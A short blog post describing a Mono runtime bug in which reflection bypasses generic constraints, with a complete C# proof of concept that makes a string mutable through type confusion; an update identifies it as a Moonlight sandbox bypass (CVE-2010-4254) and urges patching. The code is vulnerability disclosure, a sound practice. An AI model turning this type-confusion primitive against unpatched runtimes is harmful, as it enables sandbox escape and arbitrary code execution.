Mutable strings in Mono

Update 2010-12-17: Those of you who saw this post appear and then vanish were not seeing things. The Mono community identified the contents of this blog post as a serious security vulnerability in Moonlight that, through violation of the type system, allows the CoreCLR security layer to be bypassed. Attackers could potentially run arbitrary code with the permissions of the user running Moonlight. This entry was therefore temporarily removed until a patch was made available. See CVE-2010-4254 and SA42373. If you are using Moonlight, update to 2.3.0.1 or later ASAP. The original and unedited blog post follows:

So I was messing around with generic methods and discovered that generic constraints can be bypassed on Mono 2.6.7 and 2.8 using reflection (with the exception of the new() constraint). One of the fun results of this bug is that the String class can be made mutable without using reflection to set private members!

The following code demonstrates this; it is legal and will run on Mono up to and including version 2.8:

using System;
using System.Reflection;

public class FakeString {
    public int length;
    public char start_char;
}

public class TestCase {
    private static FakeString UnsafeConversion<T>(T thing)
        where T : FakeString
    {
        return thing;
    }

    public static void Main() {
        var a = "foo";
        var b = MakeMutable(a);

        Console.WriteLine(a);
        b.start_char = 'b';
        Console.WriteLine(a);
    }

    private static FakeString MakeMutable(string s)
    {
        var m = typeof(TestCase).GetMethod("UnsafeConversion", BindingFlags.NonPublic | BindingFlags.Static);
        var m2 = m.MakeGenericMethod(typeof(string));

        var d = (Func<string, FakeString>)Delegate.CreateDelegate(typeof(Func<string, FakeString>), null, m2);

        return d(s);
    }
}

This code outputs:

foo
boo

Smells like some fun exploits could be written taking advantage of this. Should Moonlight users be afraid? I’m not absolutely certain, but I think there might just be a way to do some damage.

CategoriesC#